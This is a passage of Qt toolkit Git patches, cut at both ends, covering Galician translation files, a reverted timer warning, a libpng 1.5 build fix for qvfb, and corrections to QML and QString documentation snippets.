cadea non coincide coa faceta «minLength». + O contido da cadea non coincide coa faceta «minLength». String content does not match the maxLength facet. - O contido da cadea non coincide coa faceta «maxLength». + O contido da cadea non coincide coa faceta «maxLength». String content does not match pattern facet. - O contido da cadea non coincide coa faceta «pattern». + O contido da cadea non coincide coa faceta «pattern». String content is not listed in the enumeration facet. - O contido da cadea non está enumerado na enumeración de facetas. + O contido da cadea non está enumerado na enumeración de facetas. Signed integer content does not match the maxInclusive facet. - + O contido do número enteiro con signo non casa coa faceta maxInclusive. Signed integer content does not match the maxExclusive facet. - + O contido do número enteiro con signo non casa coa faceta maxExclusive. Signed integer content does not match the minInclusive facet. - + O contido do número enteiro con signo non casa coa faceta minInclusive. Signed integer content does not match the minExclusive facet. - + O contido do número enteiro con signo non casa coa faceta minExclusive. Signed integer content is not listed in the enumeration facet. - + O contido do número enteiro con signo non está na faceta de enumeración. Signed integer content does not match pattern facet. - + O contido do número enteiro con signo non casa coa faceta padrón. Signed integer content does not match in the totalDigits facet. - + O contido do número enteiro con signo non casa coa faceta totalDigits. Unsigned integer content does not match the maxInclusive facet. - + O contido do número enteiro sen signo non casa coa faceta maxInclusive. Unsigned integer content does not match the maxExclusive facet. - + O contido do número enteiro sen signo non casa coa faceta maxExclusive. Unsigned integer content does not match the minInclusive facet. - + O contido do número enteiro sen signo non casa coa faceta minInclusive. Unsigned integer content does not match the minExclusive facet. - + O contido do número enteiro sen signo non casa coa faceta minExclusive. Unsigned integer content is not listed in the enumeration facet. - + O contido do número enteiro sen signo non está na faceta de enumeración. Unsigned integer content does not match pattern facet. - + O contido do número enteiro sen signo non casa coa faceta padrón. Unsigned integer content does not match in the totalDigits facet. - + O contido do número enteiro sen signo non casa coa faceta totalDigits. Double content does not match the maxInclusive facet. - + O contido do número de lonxitude dupla non casa coa faceta maxInclusive. Double content does not match the maxExclusive facet. - + O contido do número de lonxitude dupla non casa coa faceta maxExclusive. Double content does not match the minInclusive facet. - + O contido do número de lonxitude dupla non casa coa faceta minInclusive. Double content does not match the minExclusive facet. - + O contido do número de lonxitude dupla non casa coa faceta minExclusive. Double content is not listed in the enumeration facet. - + O contido do número de lonxitude dupla non está na faceta de enumeración. Double content does not match pattern facet. - + O contido do número de lonxitude dupla non casa coa faceta padrón. Decimal content does not match in the fractionDigits facet. - + O contido do número decimal non casa coa faceta fractionDigits. Decimal content does not match in the totalDigits facet. - + O contido do número decimal non casa coa faceta totalDigits. Date time content does not match the maxInclusive facet. - + O contido da data e hora non casa coa faceta maxInclusive. Date time content does not match the maxExclusive facet. - + O contido da data e hora non casa coa faceta maxExclusive. Date time content does not match the minInclusive facet. - + O contido da data e hora non casa coa faceta minInclusive. Date time content does not match the minExclusive facet. - + O contido da data e hora non casa coa faceta minExclusive. Date time content is not listed in the enumeration facet. - + O contido da data e hora non está na faceta de enumeración. Date time content does not match pattern facet. - + O contido da data e hora non casa coa faceta padrón. Duration content does not match the maxInclusive facet. - + O contido da duración non casa coa faceta maxInclusive. Duration content does not match the maxExclusive facet. - + O contido da duración non casa coa faceta maxExclusive. Duration content does not match the minInclusive facet. - + O contido da duración non casa coa faceta minInclusive. Duration content does not match the minExclusive facet. - + O contido da duración non casa coa faceta minExclusive. Duration content is not listed in the enumeration facet. - + O contido da duración non está na faceta de enumeración. Duration content does not match pattern facet. - + O contido da duración non casa coa faceta padrón. Boolean content does not match pattern facet. - + O contido booleano non casa coa faceta padrón. Binary content does not match the length facet. - + O contido binario coa faceta «length». Binary content does not match the minLength facet. - + O contido binario coa faceta «minLength». Binary content does not match the maxLength facet. - + O contido binario coa faceta «maxLength». Binary content is not listed in the enumeration facet. - + O contido binario non está na faceta de enumeración. Invalid QName content: %1. - + Contido non válido do QName: %1 QName content is not listed in the enumeration facet. - + O contido do QName non está na faceta de enumeración. QName content does not match pattern facet. - + O contido do QName non casa coa faceta padrón. Notation content is not listed in the enumeration facet. - + O contido da notación non está na faceta de enumeración List content does not match length facet. - + O contido da lista non coincide coa faceta «length». List content does not match minLength facet. - + O contido da lista non coincide coa faceta «minLength». List content does not match maxLength facet. - + O contido da lista non coincide coa faceta «maxLength». List content is not listed in the enumeration facet. - + O contido da lista non está na faceta de enumeración. List content does not match pattern facet. - + O contido da lista non casa coa faceta padrón. Union content is not listed in the enumeration facet. - + O contido da unión non está na faceta de enumeración. Union content does not match pattern facet. - + O contido da unión non casa coa faceta padrón. Data of type %1 are not allowed to be empty. - + Non se permite que os datos do tipo %1 esteas baleiros. Element %1 is missing child element. - + Ao elemento %1 fáltalle un elemento fillo. There is one IDREF value with no corresponding ID: %1. - + Hai un valor IDREF sen o ID correspondente: %1. Loaded schema file is invalid. - + O ficheiro de esquema que se cargou non é válido. %1 contains invalid data. - + %1 contén datos non válidos. xsi:schemaLocation namespace %1 has already appeared earlier in the instance document. - + O espazo de nomes %1 de xsi:schemaLocation xa apareceu antes no documento de instancia. xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute. - + xsi:noNamespaceSchemaLocation non pode aparecer despois do primeiro elemento ou atributo que non sexa un espazo de nomes. No schema defined for validation. - + Non se definiu ningún esquema para a validación. No definition for element %1 available. - + Non hai dispoñíbel ningunha definición do elemento %1. Specified type %1 is not known to the schema. - + O tipo especificado %1 non se coñece neste esquema. Element %1 is not defined in this scope. - + O elemento %1 non está definido neste ámbito. Declaration for element %1 does not exist. - + Non existe a declaración do elemento %1. Element %1 contains invalid content. - + O elemento %1 ten contido non válido. Element %1 is declared as abstract. - + O elemento %1 declarouse como abstracto. Element %1 is not nillable. - + O elemento %1 non é anulábel. Attribute %1 contains invalid data: %2 - + O atributo %1 contén datos non válidos: %2 Element contains content although it is nillable. - + O elemento ten contido a pesar de ser anulábel. Fixed value constraint not allowed if element is nillable. - + Non se permite a restrición de valor fixo se o elemento é anulábel. Specified type %1 is not validly substitutable with element type %2. - + O tipo especificado %1 non se pode substituír dun xeito válido por elementos do tipo %2. Complex type %1 is not allowed to be abstract. - + Non se permite que o tipo complexo %1 sexa abstracto. Element %1 contains not allowed attributes. - + O elemento %1 contén atributos non permitidos. Element %1 contains not allowed child element. - + O elemento %1 contén un elemento fillo non permitido. Content of element %1 does not match its type definition: %2. - + O contido do elemento %1 non casa coa definición do tipo: %2. Content of element %1 does not match defined value constraint. - + O contido do elemento %1 non casa coa restrición de valores definida. Element %1 contains not allowed child content. - + O elemento %1 ten contido fillo non permitido. Element %1 contains not allowed text content. - + O elemento %1 ten contido de texto non permitido. Element %1 cannot contain other elements, as it has a fixed content. - + O elemento %1 non pode conter outros elementos xa que ten un contido fixo. Element %1 is missing required attribute %2. - + Ao elemento %1 fáltalle o atributo requirido %2. Attribute %1 does not match the attribute wildcard. - + O atributo %1 non casa co carácter de substitución do atributo. Declaration for attribute %1 does not exist. - + Non existe a declaración do atributo %1. Element %1 contains two attributes of type %2. - + O elemento %1 contén dous atributos do tipo %2. Attribute %1 contains invalid content. - + O atributo %1 ten contido non válido. Element %1 contains unknown attribute %2. - + O elemento %1 contén o atributo descoñecido %2. Content of attribute %1 does not match its type definition: %2. - + O contido do atributo %1 non casa coa definición do tipo: %2. Content of attribute %1 does not match defined value constraint. - + O contido do atributo %1 non casa coa restrición de valores definida. Non-unique value found for constraint %1. - + Atopouse un valor non único para a restrición %1. Key constraint %1 contains absent fields. - + A restrición de chave %1 contén campos ausentes. Key constraint %1 contains references nillable element %2. - + A restrición de chave %1 contén referencias ao elemento anulábel %2. No referenced value found for key reference %1. - + Non se atopou ningún valor referenciado para a referencia de chave %1. More than one value found for field %1. - Atopouse máis dun valor para o campo %1. + Atopouse máis dun valor para o campo %1. Field %1 has no simple type. - O campo %1 non ten un tipo simple. + O campo %1 non ten un tipo simple. ID value '%1' is not unique. - O valor do ID «%1» non é único. + O valor do ID «%1» non é único. '%1' attribute contains invalid QName content: %2. - O atributo «%1» contén contido non válido para un QName: %2. + O atributo «%1» contén contido non válido para un QName: %2. empty - baleiro + baleiro zero or one - cero ou un + cero ou un exactly one - exactamente un + exactamente un one or more - un ou máis + un ou máis zero or more - cero ou máis + cero ou máis Required type is %1, but %2 was found. - O tipo requirido é %1, pero atopouse %2. + O tipo requirido é %1, pero atopouse %2. Promoting %1 to %2 may cause loss of precision. - Converter de %1 a %2 pode causar perda de precisión. + Converter de %1 a %2 pode causar perda de precisión. The focus is undefined. - O foco non está definido. + O foco non está definido. It's not possible to add attributes after any other kind of node. - Non é posíbel engadir atributos tras calquera outro tipo de nodo. + Non é posíbel engadir atributos tras calquera outro tipo de nodo. An attribute by name %1 has already been created. - Xa se creou un atributo co nome %1. + Xa se creou un atributo co nome %1. Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported. - + Só está soportado o Unicode Codepoint Collation (%1). %2 non se admite. diff --git a/translations/qt_help_gl.ts b/translations/qt_help_gl.ts new file mode 100644 index 0000000..a3da29a --- /dev/null +++ b/translations/qt_help_gl.ts @@ -0,0 +1,320 @@ + + + + + QCLuceneResultWidget + + Search Results + Resultados da procura + + + Note: + Nota: + + + The search results may not be complete since the documentation is still being indexed! + Poida que os resultados da procura non sexan completos porque a documentación +aínda se está a indexar! + + + Your search did not match any documents. + A procura non atopou documento ningún. + + + (The reason for this might be that the documentation is still being indexed.) + (A razón disto pode ser que a documentación aínda estea a indexarse.) + + + + QHelp + + Untitled + Sen título + + + + QHelpCollectionHandler + + The collection file '%1' is not set up yet! + O ficheiro de colección «%1» aínda non está configurado! + + + Cannot load sqlite database driver! + Non se pode cargar o controlador da base de datos sqlite! + + + Cannot open collection file: %1 + Non foi posíbel abrir o ficheiro de colección: %1 + + + Cannot create tables in file %1! + Non foi posíbel crear as táboas no ficheiro %1! + + + The collection file '%1' already exists! + O ficheiro de colección «%1» xa existe! + + + Cannot create directory: %1 + Non foi posíbel crear o directorio: %1 + + + Cannot copy collection file: %1 + Non foi posíbel copiar o ficheiro de colección: %1 + + + Unknown filter '%1'! + Non se coñece o filtro «%1»! + + + Cannot register filter %1! + Non foi posíbel rexistrar o filtro %1! + + + Cannot open documentation file %1! + Non foi posíbel abrir o ficheiro de documentación %1! + + + Invalid documentation file '%1'! + O ficheiro de documentación «%1» non é válido! + + + The namespace %1 was not registered! + O espazo de nomes %1 non estaba rexistrado! + + + Namespace %1 already exists! + O espazo de nomes %1 xa existe! + + + Cannot register namespace '%1'! + Non foi posíbel rexistrar o espazo de nomes «%1»! + + + Cannot open database '%1' to optimize! + Non foi posíbel abrir a base de datos «%1» para optimizala! + + + + QHelpDBReader + + Cannot open database '%1' '%2': %3 + The placeholders are: %1 - The name of the database which cannot be opened %2 - The unique id for the connection %3 - The actual error string + Non foi posíbel abrir a base de datos «%1» «%2»: %3 + + + + QHelpEngineCore + + Cannot open documentation file %1: %2! + Non foi posíbel abrir o ficheiro de documentación %1: %2! + + + The specified namespace does not exist! + O espazo de nomes especificado non existe! + + + + QHelpGenerator + + Invalid help data! + Datos de axuda non válidos! + + + No output file name specified! + Non se indicou ningún nome para o ficheiro de saída! + + + The file %1 cannot be overwritten! + O ficheiro %1 non pode sobrescribirse! + + + Building up file structure... + A construír a estrutura do ficheiro... + + + Cannot open data base file %1! + Non foi posíbel abrir o ficheiro de base de datos %1! + + + Cannot register namespace %1! + Non foi posíbel rexistrar o espazo de nomes %1! + + + Insert custom filters... + Inserir filtros personalizados... + + + Insert help data for filter section (%1 of %2)... + Inserir datos de axuda para a sección de filtro (%1 de %2)... + + + Documentation successfully generated. + A documentación xerouse correctamente. + + + Some tables already exist! + Algunhas táboas xa existen! + + + Cannot create tables! + Non foi posíbel crear as táboas! + + + Cannot register virtual folder! + Non foi posíbel rexistrar o cartafol virtual! + + + Insert files... + Inserir ficheiros... + + + The referenced file %1 must be inside or within a subdirectory of (%2). Skipping it. + O ficheiro referenciado %1 debe estar en ou nun subdirectorio de (%2). Omitirase. + + + The file %1 does not exist! Skipping it. + O ficheiro %1 non existe! Omitirase. + + + Cannot open file %1! Skipping it. + Non foi posíbel abrir o ficheiro %1! Omitirase. + + + The filter %1 is already registered! + O filtro %1 xa está rexistrado! + + + Cannot register filter %1! + Non foi posíbel rexistrar o filtro %1! + + + Insert indices... + Inserir índices... + + + Insert contents... + Inserir contido... + + + Cannot insert contents! + Non foi posíbel inserir contido! + + + Cannot register contents! + Non foi posíbel rexistrar contido! + + + File '%1' does not exist. + O ficheiro «%1» non existe. + + + File '%1' cannot be opened. + Non foi posíbel abrir o ficheiro «%1». + + + File '%1' contains an invalid link to file '%2' + O ficheiro «%1» contén unha ligazón non válida ao ficheiro «%2» + + + Invalid links in HTML files. + Hai ligazóns non válidas en ficheiros HTML. + + + + QHelpProject + + Unknown token. + Token descoñecido. + + + Unknown token. Expected "QtHelpProject"! + Token descoñecido. Agardábase «QtHelpProject»! + + + Error in line %1: %2 + Erro na liña %1: %2 + + + Virtual folder has invalid syntax. + O cartafol virtual ten unha sintaxe non válida. + + + Namespace has invalid syntax. + O espazo de nomes ten unha sintaxe non válida. + + + Missing namespace in QtHelpProject. + Falta o espazo de nome no QtHelpProject. + + + Missing virtual folder in QtHelpProject + Falta o cartafol virtural no QtHelpProject + + + Missing attribute in keyword at line %1. + Falta un atributo nunha palabra chave na liña %1. + + + The input file %1 could not be opened! + Non foi posíbel abrir o ficheiro de entrada %1! + + + + QHelpSearchQueryWidget + + Search for: + Procurar: + + + Previous search + Anterior procura + + + Next search + Seguinte procura + + + Search + Procurar + + + Advanced search + Procura avanzada + + + words <B>similar</B> to: + palabras <B>semellantes</B> a: + + + <B>without</B> the words: + <B>sen</B> as palabras: + + + with <B>exact phrase</B>: + coa <B>frase exacta</B>: + + + with <B>all</B> of the words: + con <B>todas</B> as palabras: + + + with <B>at least one</B> of the words: + con <B>polo menos unha</B> das palabras: + + + + QHelpSearchResultWidget + + %1 - %2 of %n Hits + + %1 - %2 de %n coincidencia + + + + + 0 - 0 of 0 Hits + 0 - 0 de 0 coincidencias + + + -- cgit v0.12 From d7212b3b8b804c3621b0c39e9f07afecc5b39a4d Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Mon, 17 Jan 2011 16:32:03 +0100 Subject: Revert "Add a warning about trying to release a timer ID that isn't active" This reverts commit e1955231478df8990cf8b1f80438abf957c5d6f2. Revert it in Qt 4.7 because the warning is triggered a lot by Qt itself They are going to be fixed in master. Reviewed-by: Thierry Task-number: QTBUG-16175 --- src/corelib/kernel/qeventdispatcher_unix.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/src/corelib/kernel/qeventdispatcher_unix.cpp b/src/corelib/kernel/qeventdispatcher_unix.cpp index 14e8991..050805f 100644 --- a/src/corelib/kernel/qeventdispatcher_unix.cpp +++ b/src/corelib/kernel/qeventdispatcher_unix.cpp @@ -501,7 +501,6 @@ bool QTimerInfoList::unregisterTimer(int timerId) } } // id not found - qWarning("Application asked to unregister timer 0x%x which is not registered in this thread. Fix application.", timerId); return false; } -- cgit v0.12 From 4d570be67303f5b80ed0377ac7307afd8bc18643 Mon Sep 17 00:00:00 2001 From: Bernhard Rosenkraenzer Date: Mon, 17 Jan 2011 16:32:39 +0100 Subject: Make qvfb compile (and work) with libpng 1.5 In libpng >= 1.5.0, the png_info struct is no longer exported Merge-request: 1023 Reviewed-by: Oswald Buddenhagen --- tools/qvfb/qanimationwriter.cpp | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/tools/qvfb/qanimationwriter.cpp b/tools/qvfb/qanimationwriter.cpp index 74a7b5f..c91a916 100644 --- a/tools/qvfb/qanimationwriter.cpp +++ b/tools/qvfb/qanimationwriter.cpp @@ -112,9 +112,11 @@ public: void writePNG(const QImage& image) { -#ifndef QT_LINUXBASE +#if !defined(QT_LINUXBASE) && \ + (PNG_LIBPNG_VER_MAJOR < 1 || (PNG_LIBPNG_VER_MAJOR == 1 && PNG_LIBPNG_VER_MINOR <= 4)) // LSB disallows accessing the info_ptr directly. LSB's png_set_IHDR sets - // the channels anyways, so just comment it out for LSB usage + // the channels anyways, so just comment it out for LSB usage. + // In libpng >= 1.5, the png_info struct is no longer exported. info_ptr->channels = 4; #endif png_set_sig_bytes(png_ptr, 8); // Pretend we already wrote the sig -- cgit v0.12 From 72900c3004825514244ebd38f38c0443b9774ad3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 20:12:14 +0100 Subject: Doc: Fixed qdoc warnings caused by invalid/incomplete QML snippets. --- doc/src/declarative/dynamicobjects.qdoc | 4 +- doc/src/declarative/example-slideswitch.qdoc | 12 +- doc/src/declarative/extending.qdoc | 27 +- doc/src/declarative/qdeclarativemodels.qdoc | 4 +- doc/src/declarative/qtdeclarative.qdoc | 4 +- doc/src/snippets/declarative/script.js | 5 +- .../declarative/transition-from-to-modified.qml | 60 ++++ .../snippets/declarative/transition-from-to.qml | 2 - .../snippets/declarative/transition-reversible.qml | 2 + doc/src/snippets/declarative/transitions-list.qml | 89 +++++ doc/src/snippets/qstring/main.cpp | 382 ++++++++++----------- 11 files changed, 381 insertions(+), 210 deletions(-) create mode 100644 doc/src/snippets/declarative/transition-from-to-modified.qml create mode 100644 doc/src/snippets/declarative/transitions-list.qml diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc index 073e0c4..11a4386 100644 --- a/doc/src/declarative/dynamicobjects.qdoc +++ b/doc/src/declarative/dynamicobjects.qdoc @@ -184,7 +184,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t \qml Item { - SelfDestroyingRect { ... } + SelfDestroyingRect { + // ... + } } \endqml diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 2b82b2f..9f84ee6 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state. In this example: \qml -Switch { id: mySwitch; on: true } -Text { text: "The switch is on"; visible: mySwitch.on == true } +Item { + Switch { + id: mySwitch + on: true + } + Text { + text: "The switch is on" + visible: mySwitch.on == true + } +} \endqml the text will only be visible when the switch is on. diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index a1f006b..b986d06 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -733,12 +733,14 @@ It is optional for a property to have a default value. The default value is a co behaviorally identical to doing it in two steps, like this: \qml -// Use default value -property int myProperty: 10 +Item { + // Use default value + property int myProperty: 10 -// Longer, but behaviorally identical -property int myProperty -myProperty: 10 + // Longer, but behaviorally identical + property int myProperty + myProperty: 10 +} \endqml @@ -769,9 +771,11 @@ QML object types can also be used as property types. This includes defined like this: \qml -property Item itemProperty -property QtObject objectProperty -property MyCustomType customProperty +Item { + property Item itemProperty + property QtObject objectProperty + property MyCustomType customProperty +} \endqml Such object-type properties default to an \c undefined value. @@ -784,7 +788,9 @@ see the \l {variant}{variant type documentation} for details. list: \qml -property list listOfItems +Item { + property list listOfItems +} \endqml Note that list properties cannot be modified like ordinary JavaScript @@ -1075,7 +1081,7 @@ code removes the connection created in \c application.qml above: \qml // application.qml Item { - ... + // ... function removeSignal() { button.clicked.disconnect(item.myMethod) @@ -1100,5 +1106,4 @@ MouseArea { Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will automatically be emitted as well. - */ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index 45246e9..744b4bd 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -281,7 +281,7 @@ with models of type QAbstractItemModel: \endlist -\section2 Exposing C++ data models to QML +\section2 Exposing C++ Data Models to QML The above examples use QDeclarativeContext::setContextProperty() to set model values directly in QML components. An alternative to this is to @@ -313,7 +313,9 @@ MyModel { id: myModel ListElement { someProperty: "some value" } } +\endqml +\qml ListView { width: 200; height: 250 model: myModel diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index 05dac52..364711d 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -103,7 +103,9 @@ \qml import com.mycompany.qmlcomponents 1.0 - Slider { ... } + Slider { + // ... + } \endqml Note that it's perfectly reasonable for a library to register types to older versions diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js index cd67311..f55dee3 100644 --- a/doc/src/snippets/declarative/script.js +++ b/doc/src/snippets/declarative/script.js @@ -1 +1,4 @@ -# Just here so that workerscript.qml succeeds. +WorkerScript.onMessage = function(message) { + // ... long-running operations and calculations are done here + WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) +} diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml new file mode 100644 index 0000000..1e2ebca --- /dev/null +++ b/doc/src/snippets/declarative/transition-from-to-modified.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 1.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow" } + } + + //! [modified transition] + transitions: Transition { + to: "brighter" + ColorAnimation { duration: 1000 } + } + //! [modified transition] +} diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml index 5fde653..ba07518 100644 --- a/doc/src/snippets/declarative/transition-from-to.qml +++ b/doc/src/snippets/declarative/transition-from-to.qml @@ -57,5 +57,3 @@ Rectangle { } } //![0] - - diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml index c67fd80..6a6ef23 100644 --- a/doc/src/snippets/declarative/transition-reversible.qml +++ b/doc/src/snippets/declarative/transition-reversible.qml @@ -53,12 +53,14 @@ Rectangle { PropertyChanges { target: rect; color: "yellow"; x: 50 } } + //! [sequential animations] transitions: Transition { SequentialAnimation { PropertyAnimation { property: "x"; duration: 1000 } ColorAnimation { duration: 1000 } } } + //! [sequential animations] } //![0] diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml new file mode 100644 index 0000000..0467de2 --- /dev/null +++ b/doc/src/snippets/declarative/transitions-list.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import Qt 4.7 + +Rectangle { + width: 150; height: 250 + + Rectangle { + id: stopLight + x: 25; y: 15; width: 100; height: 100 + } + Rectangle { + id: goLight + x: 25; y: 135; width: 100; height: 100 + } + + states: [ + State { + name: "stop" + PropertyChanges { target: stopLight; color: "red" } + PropertyChanges { target: goLight; color: "black" } + }, + State { + name: "go" + PropertyChanges { target: stopLight; color: "black" } + PropertyChanges { target: goLight; color: "green" } + } + ] + + state: "stop" + + MouseArea { + anchors.fill: parent + onClicked: parent.state == "stop" ? + parent.state = "go" : parent.state = "stop" + } + + //! [list of transitions] + transitions: [ + Transition { + from: "stop"; to: "go" + PropertyAnimation { target: stopLight + properties: "color"; duration: 1000 } + }, + Transition { + from: "go"; to: "stop" + PropertyAnimation { target: goLight + properties: "color"; duration: 1000 } + } ] + //! [list of transitions] +} diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp index 9aac79d..bbc9e98 100644 --- a/doc/src/snippets/qstring/main.cpp +++ b/doc/src/snippets/qstring/main.cpp @@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent) void Widget::constCharPointer() { -//! [0] + //! [0] QString str = "Hello"; -//! [0] + //! [0] } void Widget::constCharArray() { -//! [1] + //! [1] static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 }; QString str(data, 4); -//! [1] + //! [1] } void Widget::characterReference() { -//! [2] + //! [2] QString str; str.resize(4); @@ -149,46 +149,46 @@ void Widget::characterReference() str[1] = QChar('n'); str[2] = QChar(0x10e3); str[3] = QChar(0x03a3); -//! [2] + //! [2] } void Widget::atFunction() { -//! [3] + //! [3] QString str; for (int i = 0; i < str.size(); ++i) { if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f')) qDebug() << "Found character in range [a-f]"; } -//! [3] + //! [3] } void Widget::stringLiteral() { -//! [4] + //! [4] QString str; if (str == "auto" || str == "extern" || str == "static" || str == "register") { // ... } -//! [4] + //! [4] } void Widget::modify() { -//! [5] + //! [5] QString str = "and"; str.prepend("rock "); // str == "rock and" str.append(" roll"); // str == "rock and roll" str.replace(5, 3, "&"); // str == "rock & roll" -//! [5] + //! [5] } void Widget::index() { -//! [6] + //! [6] QString str = "We must be bold, very bold"; int j = 0; @@ -196,25 +196,25 @@ void Widget::index() qDebug() << "Found tag at index position" << j; ++j; } -//! [6] + //! [6] } //! [7] - QString Widget::boolToString(bool b) - { - QString result; - if (b) - result = "True"; - else - result = "False"; - return result; - } +QString Widget::boolToString(bool b) +{ + QString result; + if (b) + result = "True"; + else + result = "False"; + return result; +} //! [7] void Widget::nullVsEmpty() { -//! [8] + //! [8] QString().isNull(); // returns true QString().isEmpty(); // returns true @@ -223,45 +223,45 @@ void Widget::nullVsEmpty() QString("abc").isNull(); // returns false QString("abc").isEmpty(); // returns false -//! [8] + //! [8] } void Widget::appendFunction() { -//! [9] + //! [9] QString x = "free"; QString y = "dom"; x.append(y); // x == "freedom" -//! [9] + //! [9] -//! [10] + //! [10] x.insert(x.size(), y); -//! [10] + //! [10] } void Widget::argFunction() { -//! [11] + //! [11] QString i; // current file's number QString total; // number of files to process QString fileName; // current file's name QString status = QString("Processing file %1 of %2: %3") .arg(i).arg(total).arg(fileName); -//! [11] + //! [11] -//! [12] //! [13] + //! [12] //! [13] QString str; -//! [12] + //! [12] str = "%1 %2"; str.arg("%1f", "Hello"); // returns "%1f Hello" str.arg("%1f").arg("Hello"); // returns "Hellof %2" -//! [13] + //! [13] -//! [14] + //! [14] str = QString("Decimal 63 is %1 in hexadecimal") .arg(63, 0, 16); // str == 